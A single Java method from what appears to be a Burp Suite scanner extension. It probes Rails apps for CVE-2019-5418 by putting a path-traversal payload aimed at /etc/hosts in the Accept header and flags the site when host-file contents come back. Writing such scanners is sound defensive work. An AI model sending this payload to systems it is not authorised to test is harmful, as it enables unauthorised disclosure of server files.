Method doRailsScan

src/burp/PerRequestScans.java:93–118

(IHttpRequestResponse basePair)

    }

    private List<IScanIssue> doRailsScan(IHttpRequestResponse basePair) {
        if (OldUtilities.safeBytesToString(basePair.getResponse()).contains("127.0.0.1")) {
            return Collections.emptyList();
        }

        IHttpRequestResponse attack = fetchModifiedRequest(basePair, "Accept", "../../../../../../../../../../../e*c/h*s*s{{");
        String response = OldUtilities.safeBytesToString(attack.getResponse());
        if (response.contains("127.0.0.1")) {
            try {
                String collabLocation = Utilities.callbacks.createBurpCollaboratorClientContext().getCollaboratorServerLocation();
                if (response.contains(collabLocation)) {
                    return Collections.emptyList();
                }
            } catch (Exception e) {
                // Ignore exceptions
            }
            return Collections.singletonList(new CustomScanIssue(
                    basePair.getHttpService(), Utilities.helpers.analyzeRequest(basePair).getUrl(),
                    new IHttpRequestResponse[]{attack},
                    "Rails file disclosure",
                    "The application appears to be vulnerable to CVE-2019-5418, enabling arbitrary file disclosure.",
                    "Firm", CustomScanIssue.severity.High
            ));
        }
        return Collections.emptyList();
    }

    private List<IScanIssue> doStrutsScan(IHttpRequestResponse basePair) {
        Random random = new Random();